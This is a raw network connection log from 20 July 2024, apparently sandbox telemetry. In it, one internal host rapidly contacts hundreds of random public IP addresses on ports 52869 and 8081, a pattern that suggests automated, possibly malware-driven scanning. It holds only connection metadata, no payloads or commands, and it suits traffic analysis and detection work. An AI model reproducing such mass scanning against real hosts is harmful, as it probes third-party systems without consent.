Jul 20, 2024 23:01:01.682508945 CEST	52869	49909	59.3.63.30	192.168.2.14
Jul 20, 2024 23:01:01.682517052 CEST	52869	49909	140.155.1.250	192.168.2.14
Jul 20, 2024 23:01:01.682527065 CEST	52869	49909	123.139.17.211	192.168.2.14
Jul 20, 2024 23:01:01.682535887 CEST	52869	49909	69.18.180.186	192.168.2.14
Jul 20, 2024 23:01:01.682785034 CEST	52869	49909	219.22.198.232	192.168.2.14
Jul 20, 2024 23:01:01.682794094 CEST	52869	49909	172.229.247.177	192.168.2.14
Jul 20, 2024 23:01:01.682801962 CEST	52869	49909	84.251.183.169	192.168.2.14
Jul 20, 2024 23:01:01.682811022 CEST	52869	49909	174.231.162.115	192.168.2.14
Jul 20, 2024 23:01:01.682818890 CEST	52869	49909	209.107.7.172	192.168.2.14
Jul 20, 2024 23:01:01.682924032 CEST	49909	52869	192.168.2.14	45.6.250.121
Jul 20, 2024 23:01:01.682924032 CEST	49909	52869	192.168.2.14	47.192.181.125
Jul 20, 2024 23:01:01.682924032 CEST	49909	52869	192.168.2.14	153.204.31.186
Jul 20, 2024 23:01:01.682924032 CEST	49909	52869	192.168.2.14	60.182.209.121
Jul 20, 2024 23:01:01.682924032 CEST	49909	52869	192.168.2.14	142.27.140.92
Jul 20, 2024 23:01:01.682924032 CEST	49909	52869	192.168.2.14	85.161.86.94
Jul 20, 2024 23:01:01.682924032 CEST	49909	52869	192.168.2.14	8.165.240.79
Jul 20, 2024 23:01:01.682924032 CEST	49909	52869	192.168.2.14	217.33.236.3
Jul 20, 2024 23:01:01.683060884 CEST	52869	49909	162.74.219.77	192.168.2.14
Jul 20, 2024 23:01:01.683069944 CEST	52869	49909	12.61.194.217	192.168.2.14
Jul 20, 2024 23:01:01.683079004 CEST	52869	49909	192.18.105.50	192.168.2.14
Jul 20, 2024 23:01:01.683161020 CEST	50165	8081	192.168.2.14	190.160.58.243
Jul 20, 2024 23:01:01.683161020 CEST	49909	52869	192.168.2.14	86.161.72.180
Jul 20, 2024 23:01:01.683161020 CEST	49909	52869	192.168.2.14	137.223.232.141
Jul 20, 2024 23:01:01.683161020 CEST	49909	52869	192.168.2.14	192.251.180.123
Jul 20, 2024 23:01:01.683161020 CEST	49909	52869	192.168.2.14	91.116.111.244
Jul 20, 2024 23:01:01.683161020 CEST	49909	52869	192.168.2.14	67.206.145.204
Jul 20, 2024 23:01:01.683161020 CEST	50165	8081	192.168.2.14	185.0.89.145
Jul 20, 2024 23:01:01.683161020 CEST	50165	8081	192.168.2.14	35.238.165.89
Jul 20, 2024 23:01:01.683226109 CEST	52869	49909	66.155.14.84	192.168.2.14
Jul 20, 2024 23:01:01.683235884 CEST	52869	49909	170.253.183.3	192.168.2.14
Jul 20, 2024 23:01:01.683269024 CEST	49909	52869	192.168.2.14	176.152.150.1
Jul 20, 2024 23:01:01.683269978 CEST	49909	52869	192.168.2.14	41.188.20.168
Jul 20, 2024 23:01:01.683269978 CEST	49909	52869	192.168.2.14	84.109.57.15
Jul 20, 2024 23:01:01.683269978 CEST	49909	52869	192.168.2.14	193.193.33.173
Jul 20, 2024 23:01:01.683269978 CEST	49909	52869	192.168.2.14	134.135.249.190
Jul 20, 2024 23:01:01.683269978 CEST	49909	52869	192.168.2.14	160.121.230.64
Jul 20, 2024 23:01:01.683269978 CEST	49909	52869	192.168.2.14	211.100.123.93
Jul 20, 2024 23:01:01.683269978 CEST	49909	52869	192.168.2.14	175.30.40.73
Jul 20, 2024 23:01:01.683492899 CEST	52869	49909	8.169.158.75	192.168.2.14
Jul 20, 2024 23:01:01.683502913 CEST	52869	49909	155.66.179.203	192.168.2.14
Jul 20, 2024 23:01:01.683512926 CEST	52869	49909	19.197.105.249	192.168.2.14
Jul 20, 2024 23:01:01.684021950 CEST	52869	49909	92.171.161.220	192.168.2.14
Jul 20, 2024 23:01:01.684031963 CEST	52869	49909	66.17.149.160	192.168.2.14
Jul 20, 2024 23:01:01.684040070 CEST	52869	49909	102.158.190.172	192.168.2.14
Jul 20, 2024 23:01:01.684355021 CEST	52869	49909	32.154.188.58	192.168.2.14
Jul 20, 2024 23:01:01.684365034 CEST	52869	49909	140.214.92.211	192.168.2.14
Jul 20, 2024 23:01:01.684514046 CEST	52869	49909	20.189.37.8	192.168.2.14
Jul 20, 2024 23:01:01.684524059 CEST	52869	49909	204.211.34.189	192.168.2.14
Jul 20, 2024 23:01:01.684533119 CEST	52869	49909	63.98.110.158	192.168.2.14
Jul 20, 2024 23:01:01.684667110 CEST	49909	52869	192.168.2.14	160.191.28.144
Jul 20, 2024 23:01:01.684667110 CEST	49909	52869	192.168.2.14	174.69.237.0
Jul 20, 2024 23:01:01.684667110 CEST	49909	52869	192.168.2.14	8.55.90.119
Jul 20, 2024 23:01:01.684667110 CEST	49909	52869	192.168.2.14	93.255.94.157
Jul 20, 2024 23:01:01.684667110 CEST	49909	52869	192.168.2.14	134.76.14.241
Jul 20, 2024 23:01:01.684667110 CEST	49909	52869	192.168.2.14	190.144.135.107
Jul 20, 2024 23:01:01.684667110 CEST	49909	52869	192.168.2.14	165.240.21.199
Jul 20, 2024 23:01:01.684667110 CEST	49909	52869	192.168.2.14	54.198.216.131
Jul 20, 2024 23:01:01.685012102 CEST	52869	49909	137.223.96.125	192.168.2.14
Jul 20, 2024 23:01:01.685020924 CEST	52869	49909	152.211.239.204	192.168.2.14
Jul 20, 2024 23:01:01.685030937 CEST	52869	49909	205.227.187.203	192.168.2.14
Jul 20, 2024 23:01:01.685184956 CEST	52869	49909	13.182.172.144	192.168.2.14
Jul 20, 2024 23:01:01.685194016 CEST	52869	49909	132.247.215.214	192.168.2.14
Jul 20, 2024 23:01:01.685203075 CEST	37215	34462	197.74.63.134	192.168.2.14
Jul 20, 2024 23:01:01.685256004 CEST	52869	49909	92.110.247.157	192.168.2.14
Jul 20, 2024 23:01:01.685266018 CEST	52869	49909	65.151.145.143	192.168.2.14
Jul 20, 2024 23:01:01.685333014 CEST	49909	52869	192.168.2.14	196.159.190.117
Jul 20, 2024 23:01:01.685333014 CEST	49909	52869	192.168.2.14	177.232.37.130
Jul 20, 2024 23:01:01.685333014 CEST	49909	52869	192.168.2.14	141.25.137.192
Jul 20, 2024 23:01:01.685333014 CEST	49909	52869	192.168.2.14	110.190.170.59
Jul 20, 2024 23:01:01.685333014 CEST	49909	52869	192.168.2.14	66.134.165.127
Jul 20, 2024 23:01:01.685333014 CEST	49909	52869	192.168.2.14	79.199.66.178
Jul 20, 2024 23:01:01.685333014 CEST	49909	52869	192.168.2.14	202.104.226.178
Jul 20, 2024 23:01:01.685333014 CEST	49909	52869	192.168.2.14	90.177.164.7
Jul 20, 2024 23:01:01.685425997 CEST	52869	49909	125.250.4.90	192.168.2.14
Jul 20, 2024 23:01:01.685497046 CEST	52869	49909	130.69.221.111	192.168.2.14
Jul 20, 2024 23:01:01.685506105 CEST	52869	49909	206.13.225.4	192.168.2.14
Jul 20, 2024 23:01:01.685560942 CEST	50165	8081	192.168.2.14	8.238.176.84
Jul 20, 2024 23:01:01.685560942 CEST	50165	8081	192.168.2.14	188.187.167.83
Jul 20, 2024 23:01:01.685560942 CEST	50165	8081	192.168.2.14	176.79.122.249
Jul 20, 2024 23:01:01.685560942 CEST	49909	52869	192.168.2.14	190.78.2.7
Jul 20, 2024 23:01:01.685560942 CEST	49909	52869	192.168.2.14	101.212.186.105
Jul 20, 2024 23:01:01.685560942 CEST	50165	8081	192.168.2.14	13.93.41.107
Jul 20, 2024 23:01:01.685560942 CEST	49909	52869	192.168.2.14	123.242.194.86
Jul 20, 2024 23:01:01.685560942 CEST	49909	52869	192.168.2.14	194.67.162.210
Jul 20, 2024 23:01:01.685667992 CEST	52869	49909	202.240.96.140	192.168.2.14
Jul 20, 2024 23:01:01.685833931 CEST	52869	49909	132.90.194.123	192.168.2.14
Jul 20, 2024 23:01:01.685843945 CEST	52869	49909	89.41.8.71	192.168.2.14
Jul 20, 2024 23:01:01.686000109 CEST	52869	49909	146.125.192.192	192.168.2.14
Jul 20, 2024 23:01:01.686162949 CEST	52869	49909	206.88.112.237	192.168.2.14
Jul 20, 2024 23:01:01.686248064 CEST	52869	49909	202.55.184.106	192.168.2.14
Jul 20, 2024 23:01:01.686258078 CEST	52869	49909	221.31.170.190	192.168.2.14
Jul 20, 2024 23:01:01.686417103 CEST	52869	49909	1.68.115.94	192.168.2.14
Jul 20, 2024 23:01:01.686567068 CEST	52869	49909	9.178.81.40	192.168.2.14
Jul 20, 2024 23:01:01.686738014 CEST	52869	49909	105.162.42.13	192.168.2.14
Jul 20, 2024 23:01:01.686898947 CEST	52869	49909	23.94.253.67	192.168.2.14
Jul 20, 2024 23:01:01.687052965 CEST	52869	49909	174.146.100.30	192.168.2.14
Jul 20, 2024 23:01:01.687141895 CEST	49909	52869	192.168.2.14	98.169.227.103
Jul 20, 2024 23:01:01.687141895 CEST	49909	52869	192.168.2.14	102.174.27.16
Jul 20, 2024 23:01:01.687141895 CEST	49909	52869	192.168.2.14	182.58.59.240
Jul 20, 2024 23:01:01.687141895 CEST	49909	52869	192.168.2.14	80.12.100.103
Jul 20, 2024 23:01:01.687141895 CEST	49909	52869	192.168.2.14	130.209.205.146
Jul 20, 2024 23:01:01.687141895 CEST	49909	52869	192.168.2.14	102.123.68.84
Jul 20, 2024 23:01:01.687211990 CEST	52869	49909	72.5.198.205	192.168.2.14
Jul 20, 2024 23:01:01.687382936 CEST	52869	49909	160.32.248.68	192.168.2.14
Jul 20, 2024 23:01:01.687391996 CEST	52869	49909	111.208.194.99	192.168.2.14
Jul 20, 2024 23:01:01.687400103 CEST	52869	49909	47.131.16.63	192.168.2.14
Jul 20, 2024 23:01:01.687688112 CEST	52869	49909	31.208.136.124	192.168.2.14
Jul 20, 2024 23:01:01.687696934 CEST	52869	49909	52.174.147.126	192.168.2.14
Jul 20, 2024 23:01:01.687705040 CEST	52869	49909	124.170.244.50	192.168.2.14
Jul 20, 2024 23:01:01.687714100 CEST	52869	49909	181.165.78.219	192.168.2.14
Jul 20, 2024 23:01:01.688030005 CEST	52869	49909	99.165.107.125	192.168.2.14
Jul 20, 2024 23:01:01.688371897 CEST	52869	49909	206.11.222.241	192.168.2.14
Jul 20, 2024 23:01:01.688397884 CEST	49909	52869	192.168.2.14	223.57.236.62
Jul 20, 2024 23:01:01.688397884 CEST	49909	52869	192.168.2.14	129.7.130.116
Jul 20, 2024 23:01:01.688397884 CEST	49909	52869	192.168.2.14	25.62.180.67
Jul 20, 2024 23:01:01.688397884 CEST	49909	52869	192.168.2.14	217.192.73.105
Jul 20, 2024 23:01:01.688397884 CEST	49909	52869	192.168.2.14	54.189.140.223
Jul 20, 2024 23:01:01.688397884 CEST	49909	52869	192.168.2.14	133.0.49.199
Jul 20, 2024 23:01:01.688397884 CEST	49909	52869	192.168.2.14	135.177.107.164
Jul 20, 2024 23:01:01.688397884 CEST	49909	52869	192.168.2.14	122.211.137.245
Jul 20, 2024 23:01:01.688499928 CEST	52869	49909	170.69.53.221	192.168.2.14
Jul 20, 2024 23:01:01.688563108 CEST	49909	52869	192.168.2.14	69.60.102.246
Jul 20, 2024 23:01:01.688563108 CEST	49909	52869	192.168.2.14	164.2.151.22
Jul 20, 2024 23:01:01.688563108 CEST	49909	52869	192.168.2.14	18.180.5.48
Jul 20, 2024 23:01:01.688563108 CEST	49909	52869	192.168.2.14	211.7.56.202
Jul 20, 2024 23:01:01.688563108 CEST	49909	52869	192.168.2.14	44.127.140.30
Jul 20, 2024 23:01:01.688563108 CEST	49909	52869	192.168.2.14	18.63.169.76
Jul 20, 2024 23:01:01.688563108 CEST	49909	52869	192.168.2.14	44.40.106.207
Jul 20, 2024 23:01:01.688563108 CEST	49909	52869	192.168.2.14	48.20.80.85
Jul 20, 2024 23:01:01.688828945 CEST	52869	49909	86.161.72.180	192.168.2.14
Jul 20, 2024 23:01:01.688838959 CEST	52869	49909	176.152.150.1	192.168.2.14
Jul 20, 2024 23:01:01.688992977 CEST	49909	52869	192.168.2.14	114.173.101.131
Jul 20, 2024 23:01:01.688992977 CEST	49909	52869	192.168.2.14	145.114.175.209
Jul 20, 2024 23:01:01.688992977 CEST	49909	52869	192.168.2.14	154.234.222.130
Jul 20, 2024 23:01:01.688992977 CEST	49909	52869	192.168.2.14	207.107.95.51
Jul 20, 2024 23:01:01.688992977 CEST	49909	52869	192.168.2.14	123.243.178.81
Jul 20, 2024 23:01:01.688992977 CEST	49909	52869	192.168.2.14	65.248.115.141
Jul 20, 2024 23:01:01.688992977 CEST	49909	52869	192.168.2.14	222.15.221.37
Jul 20, 2024 23:01:01.689194918 CEST	52869	49909	137.223.232.141	192.168.2.14
Jul 20, 2024 23:01:01.689213991 CEST	49909	52869	192.168.2.14	166.35.250.231
Jul 20, 2024 23:01:01.689213991 CEST	49909	52869	192.168.2.14	143.1.84.100
Jul 20, 2024 23:01:01.689213991 CEST	49909	52869	192.168.2.14	112.169.187.19
Jul 20, 2024 23:01:01.689214945 CEST	49909	52869	192.168.2.14	119.100.210.43
Jul 20, 2024 23:01:01.689214945 CEST	49909	52869	192.168.2.14	54.34.159.243
Jul 20, 2024 23:01:01.689214945 CEST	49909	52869	192.168.2.14	115.193.20.97
Jul 20, 2024 23:01:01.689214945 CEST	49909	52869	192.168.2.14	213.7.228.241
Jul 20, 2024 23:01:01.689214945 CEST	49909	52869	192.168.2.14	99.148.210.83
Jul 20, 2024 23:01:01.689353943 CEST	52869	49909	192.251.180.123	192.168.2.14
Jul 20, 2024 23:01:01.689528942 CEST	52869	49909	91.116.111.244	192.168.2.14
Jul 20, 2024 23:01:01.690105915 CEST	52869	49909	45.6.250.121	192.168.2.14
Jul 20, 2024 23:01:01.690114975 CEST	52869	49909	67.206.145.204	192.168.2.14
Jul 20, 2024 23:01:01.690268993 CEST	52869	49909	41.188.20.168	192.168.2.14
Jul 20, 2024 23:01:01.690480947 CEST	52869	49909	84.109.57.15	192.168.2.14
Jul 20, 2024 23:01:01.690506935 CEST	49909	52869	192.168.2.14	220.222.25.62
Jul 20, 2024 23:01:01.690506935 CEST	49909	52869	192.168.2.14	109.124.47.108
Jul 20, 2024 23:01:01.690506935 CEST	49909	52869	192.168.2.14	136.53.14.70
Jul 20, 2024 23:01:01.690506935 CEST	49909	52869	192.168.2.14	212.201.138.73
Jul 20, 2024 23:01:01.690506935 CEST	49909	52869	192.168.2.14	23.51.100.228
Jul 20, 2024 23:01:01.690506935 CEST	49909	52869	192.168.2.14	86.249.255.222
Jul 20, 2024 23:01:01.690507889 CEST	49909	52869	192.168.2.14	154.131.192.163
Jul 20, 2024 23:01:01.690656900 CEST	52869	49909	47.98.143.226	192.168.2.14
Jul 20, 2024 23:01:01.690800905 CEST	52869	49909	193.193.33.173	192.168.2.14
Jul 20, 2024 23:01:01.691031933 CEST	52869	49909	134.135.249.190	192.168.2.14
Jul 20, 2024 23:01:01.692065954 CEST	52869	49909	160.121.230.64	192.168.2.14
Jul 20, 2024 23:01:01.692225933 CEST	52869	49909	211.100.123.93	192.168.2.14
Jul 20, 2024 23:01:01.692235947 CEST	52869	49909	47.192.181.125	192.168.2.14
Jul 20, 2024 23:01:01.692369938 CEST	52869	49909	161.208.244.43	192.168.2.14
Jul 20, 2024 23:01:01.692379951 CEST	52869	49909	91.171.95.33	192.168.2.14
Jul 20, 2024 23:01:01.692389011 CEST	52869	49909	182.131.237.40	192.168.2.14
Jul 20, 2024 23:01:01.692398071 CEST	52869	49909	98.169.227.103	192.168.2.14
Jul 20, 2024 23:01:01.692406893 CEST	52869	49909	153.204.31.186	192.168.2.14
Jul 20, 2024 23:01:01.692689896 CEST	52869	49909	202.59.35.213	192.168.2.14
Jul 20, 2024 23:01:01.692698956 CEST	52869	49909	102.174.27.16	192.168.2.14
Jul 20, 2024 23:01:01.692862034 CEST	49909	52869	192.168.2.14	37.103.24.50
Jul 20, 2024 23:01:01.692862034 CEST	49909	52869	192.168.2.14	172.60.47.25
Jul 20, 2024 23:01:01.692862034 CEST	49909	52869	192.168.2.14	121.83.16.240
Jul 20, 2024 23:01:01.692862034 CEST	49909	52869	192.168.2.14	110.31.52.8
Jul 20, 2024 23:01:01.692862034 CEST	49909	52869	192.168.2.14	177.119.9.144
Jul 20, 2024 23:01:01.692862034 CEST	49909	52869	192.168.2.14	212.166.101.202
Jul 20, 2024 23:01:01.692862034 CEST	49909	52869	192.168.2.14	169.254.184.118
Jul 20, 2024 23:01:01.692862034 CEST	49909	52869	192.168.2.14	141.144.109.126
Jul 20, 2024 23:01:01.692943096 CEST	49909	52869	192.168.2.14	118.134.156.211
Jul 20, 2024 23:01:01.692943096 CEST	49909	52869	192.168.2.14	199.151.138.24
Jul 20, 2024 23:01:01.692943096 CEST	49909	52869	192.168.2.14	153.100.137.135
Jul 20, 2024 23:01:01.692943096 CEST	49909	52869	192.168.2.14	196.178.211.213
Jul 20, 2024 23:01:01.692943096 CEST	49909	52869	192.168.2.14	65.235.161.255
Jul 20, 2024 23:01:01.692943096 CEST	49909	52869	192.168.2.14	78.29.202.220
Jul 20, 2024 23:01:01.692943096 CEST	49909	52869	192.168.2.14	103.220.21.103
Jul 20, 2024 23:01:01.692943096 CEST	49909	52869	192.168.2.14	143.90.9.36
Jul 20, 2024 23:01:01.693178892 CEST	52869	49909	17.89.227.78	192.168.2.14
Jul 20, 2024 23:01:01.693546057 CEST	50165	8081	192.168.2.14	82.62.176.97
Jul 20, 2024 23:01:01.693546057 CEST	50165	8081	192.168.2.14	95.42.189.59
Jul 20, 2024 23:01:01.693546057 CEST	50165	8081	192.168.2.14	211.207.185.31
Jul 20, 2024 23:01:01.693546057 CEST	50165	8081	192.168.2.14	40.162.194.16
Jul 20, 2024 23:01:01.693547010 CEST	50165	8081	192.168.2.14	195.21.191.73
Jul 20, 2024 23:01:01.693547010 CEST	50165	8081	192.168.2.14	207.0.205.171
Jul 20, 2024 23:01:01.693547010 CEST	50165	8081	192.168.2.14	24.118.226.234
Jul 20, 2024 23:01:01.693547010 CEST	49909	52869	192.168.2.14	223.253.7.175
Jul 20, 2024 23:01:01.693698883 CEST	52869	49909	182.58.59.240	192.168.2.14
Jul 20, 2024 23:01:01.693708897 CEST	52869	49909	158.69.14.215	192.168.2.14
Jul 20, 2024 23:01:01.693717003 CEST	52869	49909	80.12.100.103	192.168.2.14
Jul 20, 2024 23:01:01.693866014 CEST	52869	49909	108.4.171.99	192.168.2.14
Jul 20, 2024 23:01:01.693875074 CEST	52869	49909	60.182.209.121	192.168.2.14
Jul 20, 2024 23:01:01.693883896 CEST	52869	49909	62.44.78.153	192.168.2.14
Jul 20, 2024 23:01:01.694005013 CEST	49909	52869	192.168.2.14	93.146.13.88
Jul 20, 2024 23:01:01.694005013 CEST	49909	52869	192.168.2.14	148.251.241.27
Jul 20, 2024 23:01:01.694005013 CEST	49909	52869	192.168.2.14	131.143.187.44
Jul 20, 2024 23:01:01.694005013 CEST	49909	52869	192.168.2.14	39.210.89.58
Jul 20, 2024 23:01:01.694005013 CEST	49909	52869	192.168.2.14	164.167.12.122
Jul 20, 2024 23:01:01.694005013 CEST	49909	52869	192.168.2.14	125.3.74.189
Jul 20, 2024 23:01:01.694005013 CEST	49909	52869	192.168.2.14	209.18.126.8
Jul 20, 2024 23:01:01.694005013 CEST	49909	52869	192.168.2.14	40.154.4.194
Jul 20, 2024 23:01:01.694016933 CEST	52869	49909	129.182.251.240	192.168.2.14
Jul 20, 2024 23:01:01.694327116 CEST	52869	49909	223.57.236.62	192.168.2.14
Jul 20, 2024 23:01:01.694338083 CEST	52869	49909	142.27.140.92	192.168.2.14
Jul 20, 2024 23:01:01.694360971 CEST	49909	52869	192.168.2.14	147.24.204.167
Jul 20, 2024 23:01:01.694360971 CEST	49909	52869	192.168.2.14	97.182.119.204
Jul 20, 2024 23:01:01.694360971 CEST	49909	52869	192.168.2.14	2.229.175.12
Jul 20, 2024 23:01:01.694360971 CEST	49909	52869	192.168.2.14	4.76.132.243
Jul 20, 2024 23:01:01.694360971 CEST	49909	52869	192.168.2.14	187.152.198.171
Jul 20, 2024 23:01:01.694360971 CEST	49909	52869	192.168.2.14	150.98.203.205
Jul 20, 2024 23:01:01.694670916 CEST	52869	49909	190.78.2.7	192.168.2.14
Jul 20, 2024 23:01:01.694680929 CEST	52869	49909	175.30.40.73	192.168.2.14
Jul 20, 2024 23:01:01.694689989 CEST	52869	49909	129.7.130.116	192.168.2.14
Jul 20, 2024 23:01:01.694837093 CEST	52869	49909	69.60.102.246	192.168.2.14
Jul 20, 2024 23:01:01.694847107 CEST	52869	49909	85.161.86.94	192.168.2.14
Jul 20, 2024 23:01:01.694854975 CEST	52869	49909	130.209.205.146	192.168.2.14
Jul 20, 2024 23:01:01.695184946 CEST	52869	49909	164.2.151.22	192.168.2.14
Jul 20, 2024 23:01:01.695194960 CEST	52869	49909	25.62.180.67	192.168.2.14
Jul 20, 2024 23:01:01.695204020 CEST	52869	49909	102.123.68.84	192.168.2.14
Jul 20, 2024 23:01:01.695342064 CEST	52869	49909	166.35.250.231	192.168.2.14
Jul 20, 2024 23:01:01.695399046 CEST	49909	52869	192.168.2.14	204.90.152.24
Jul 20, 2024 23:01:01.695399046 CEST	49909	52869	192.168.2.14	223.184.191.223
Jul 20, 2024 23:01:01.695399046 CEST	49909	52869	192.168.2.14	112.104.226.150
Jul 20, 2024 23:01:01.695725918 CEST	49909	52869	192.168.2.14	170.102.253.221
Jul 20, 2024 23:01:01.695725918 CEST	49909	52869	192.168.2.14	44.146.77.208
Jul 20, 2024 23:01:01.695725918 CEST	49909	52869	192.168.2.14	103.34.192.117
Jul 20, 2024 23:01:01.695725918 CEST	49909	52869	192.168.2.14	71.13.23.133
Jul 20, 2024 23:01:01.695725918 CEST	49909	52869	192.168.2.14	97.103.86.19
Jul 20, 2024 23:01:01.695725918 CEST	49909	52869	192.168.2.14	106.20.220.81
Jul 20, 2024 23:01:01.695725918 CEST	49909	52869	192.168.2.14	88.162.173.203
Jul 20, 2024 23:01:01.695725918 CEST	49909	52869	192.168.2.14	118.198.10.187
Jul 20, 2024 23:01:01.695823908 CEST	52869	49909	143.1.84.100	192.168.2.14
Jul 20, 2024 23:01:01.695832968 CEST	52869	49909	112.169.187.19	192.168.2.14
Jul 20, 2024 23:01:01.695919037 CEST	49909	52869	192.168.2.14	62.135.63.177
Jul 20, 2024 23:01:01.695919037 CEST	49909	52869	192.168.2.14	111.33.11.248
Jul 20, 2024 23:01:01.695919037 CEST	49909	52869	192.168.2.14	63.195.250.31
Jul 20, 2024 23:01:01.695919037 CEST	49909	52869	192.168.2.14	153.102.166.110
Jul 20, 2024 23:01:01.695919037 CEST	49909	52869	192.168.2.14	171.60.191.198
Jul 20, 2024 23:01:01.695919037 CEST	49909	52869	192.168.2.14	177.15.43.240
Jul 20, 2024 23:01:01.695919037 CEST	49909	52869	192.168.2.14	203.43.248.229
Jul 20, 2024 23:01:01.695919037 CEST	49909	52869	192.168.2.14	184.12.108.77
Jul 20, 2024 23:01:01.695997000 CEST	52869	49909	18.180.5.48	192.168.2.14
Jul 20, 2024 23:01:01.696006060 CEST	52869	49909	217.192.73.105	192.168.2.14
Jul 20, 2024 23:01:01.696230888 CEST	52869	49909	220.222.25.62	192.168.2.14
Jul 20, 2024 23:01:01.696396112 CEST	52869	49909	211.7.56.202	192.168.2.14
Jul 20, 2024 23:01:01.696404934 CEST	52869	49909	109.124.47.108	192.168.2.14
Jul 20, 2024 23:01:01.696413994 CEST	52869	49909	44.127.140.30	192.168.2.14
Jul 20, 2024 23:01:01.696422100 CEST	52869	49909	54.189.140.223	192.168.2.14
Jul 20, 2024 23:01:01.696430922 CEST	52869	49909	18.63.169.76	192.168.2.14
Jul 20, 2024 23:01:01.696959972 CEST	52869	49909	101.212.186.105	192.168.2.14
Jul 20, 2024 23:01:01.697119951 CEST	52869	49909	119.100.210.43	192.168.2.14
Jul 20, 2024 23:01:01.697280884 CEST	52869	49909	133.0.49.199	192.168.2.14
Jul 20, 2024 23:01:01.697290897 CEST	52869	49909	44.40.106.207	192.168.2.14
Jul 20, 2024 23:01:01.697443962 CEST	49909	52869	192.168.2.14	122.0.246.134
Jul 20, 2024 23:01:01.697443962 CEST	49909	52869	192.168.2.14	82.44.225.133
Jul 20, 2024 23:01:01.697444916 CEST	49909	52869	192.168.2.14	121.241.252.236
Jul 20, 2024 23:01:01.697444916 CEST	49909	52869	192.168.2.14	191.124.131.163
Jul 20, 2024 23:01:01.697444916 CEST	49909	52869	192.168.2.14	66.247.97.52
Jul 20, 2024 23:01:01.697552919 CEST	49909	52869	192.168.2.14	68.78.246.135
Jul 20, 2024 23:01:01.697552919 CEST	49909	52869	192.168.2.14	199.116.231.80
Jul 20, 2024 23:01:01.697552919 CEST	49909	52869	192.168.2.14	164.215.151.124
Jul 20, 2024 23:01:01.697552919 CEST	49909	52869	192.168.2.14	31.205.16.228
Jul 20, 2024 23:01:01.697552919 CEST	49909	52869	192.168.2.14	38.15.50.186
Jul 20, 2024 23:01:01.697552919 CEST	49909	52869	192.168.2.14	98.4.99.174
Jul 20, 2024 23:01:01.697552919 CEST	49909	52869	192.168.2.14	133.80.113.43
Jul 20, 2024 23:01:01.697552919 CEST	49909	52869	192.168.2.14	17.250.24.115
Jul 20, 2024 23:01:01.697621107 CEST	52869	49909	136.53.14.70	192.168.2.14
Jul 20, 2024 23:01:01.698276043 CEST	52869	49909	8.165.240.79	192.168.2.14
Jul 20, 2024 23:01:01.698285103 CEST	52869	49909	217.33.236.3	192.168.2.14
Jul 20, 2024 23:01:01.698293924 CEST	52869	49909	48.20.80.85	192.168.2.14
Jul 20, 2024 23:01:01.698441982 CEST	52869	49909	212.201.138.73	192.168.2.14
Jul 20, 2024 23:01:01.698792934 CEST	52869	49909	37.103.24.50	192.168.2.14
Jul 20, 2024 23:01:01.698955059 CEST	52869	49909	123.242.194.86	192.168.2.14
Jul 20, 2024 23:01:01.699112892 CEST	52869	49909	194.67.162.210	192.168.2.14
Jul 20, 2024 23:01:01.699122906 CEST	52869	49909	54.34.159.243	192.168.2.14
Jul 20, 2024 23:01:01.699459076 CEST	52869	49909	172.60.47.25	192.168.2.14
Jul 20, 2024 23:01:01.699620008 CEST	52869	49909	23.51.100.228	192.168.2.14
Jul 20, 2024 23:01:01.699984074 CEST	52869	49909	86.249.255.222	192.168.2.14
Jul 20, 2024 23:01:01.700334072 CEST	52869	49909	135.177.107.164	192.168.2.14
Jul 20, 2024 23:01:01.700540066 CEST	49909	52869	192.168.2.14	107.66.233.245
Jul 20, 2024 23:01:01.700540066 CEST	49909	52869	192.168.2.14	131.180.90.129
Jul 20, 2024 23:01:01.700541019 CEST	49909	52869	192.168.2.14	115.228.148.224
Jul 20, 2024 23:01:01.700541019 CEST	49909	52869	192.168.2.14	66.33.16.41
Jul 20, 2024 23:01:01.700541019 CEST	49909	52869	192.168.2.14	161.154.222.94
Jul 20, 2024 23:01:01.700541019 CEST	49909	52869	192.168.2.14	110.140.251.208
Jul 20, 2024 23:01:01.700541019 CEST	49909	52869	192.168.2.14	152.88.174.227
Jul 20, 2024 23:01:01.700541019 CEST	49909	52869	192.168.2.14	176.135.35.83
Jul 20, 2024 23:01:01.700711966 CEST	49909	52869	192.168.2.14	189.62.96.130
Jul 20, 2024 23:01:01.700711966 CEST	49909	52869	192.168.2.14	112.81.247.52
Jul 20, 2024 23:01:01.700711966 CEST	49909	52869	192.168.2.14	188.113.207.193
Jul 20, 2024 23:01:01.700711966 CEST	49909	52869	192.168.2.14	121.157.93.141
Jul 20, 2024 23:01:01.700711966 CEST	49909	52869	192.168.2.14	166.141.208.49
Jul 20, 2024 23:01:01.700711966 CEST	49909	52869	192.168.2.14	13.116.23.66
Jul 20, 2024 23:01:01.700711966 CEST	49909	52869	192.168.2.14	223.90.200.221
Jul 20, 2024 23:01:01.700711966 CEST	49909	52869	192.168.2.14	203.17.88.26
Jul 20, 2024 23:01:01.700798988 CEST	49909	52869	192.168.2.14	171.126.162.137
Jul 20, 2024 23:01:01.700798988 CEST	49909	52869	192.168.2.14	218.187.102.240
Jul 20, 2024 23:01:01.700798988 CEST	49909	52869	192.168.2.14	128.255.92.0
Jul 20, 2024 23:01:01.700798988 CEST	49909	52869	192.168.2.14	193.177.140.251
Jul 20, 2024 23:01:01.700870991 CEST	52869	49909	115.193.20.97	192.168.2.14
Jul 20, 2024 23:01:01.700881004 CEST	52869	49909	213.7.228.241	192.168.2.14
Jul 20, 2024 23:01:01.700973034 CEST	49909	52869	192.168.2.14	130.69.123.40
Jul 20, 2024 23:01:01.700973034 CEST	49909	52869	192.168.2.14	128.98.160.122
Jul 20, 2024 23:01:01.700973034 CEST	49909	52869	192.168.2.14	180.39.180.182
Jul 20, 2024 23:01:01.700973034 CEST	49909	52869	192.168.2.14	31.90.157.252
Jul 20, 2024 23:01:01.700973034 CEST	49909	52869	192.168.2.14	60.144.29.97
Jul 20, 2024 23:01:01.700973034 CEST	49909	52869	192.168.2.14	116.111.12.206
Jul 20, 2024 23:01:01.700973034 CEST	49909	52869	192.168.2.14	77.164.7.36
Jul 20, 2024 23:01:01.700973034 CEST	49909	52869	192.168.2.14	99.202.52.30
Jul 20, 2024 23:01:01.701306105 CEST	52869	49909	121.83.16.240	192.168.2.14
Jul 20, 2024 23:01:01.701313019 CEST	49909	52869	192.168.2.14	142.63.104.210
Jul 20, 2024 23:01:01.701313019 CEST	49909	52869	192.168.2.14	161.38.138.203
Jul 20, 2024 23:01:01.701313019 CEST	49909	52869	192.168.2.14	128.16.232.126
Jul 20, 2024 23:01:01.701313019 CEST	49909	52869	192.168.2.14	173.55.63.223
Jul 20, 2024 23:01:01.701313019 CEST	49909	52869	192.168.2.14	12.143.130.188
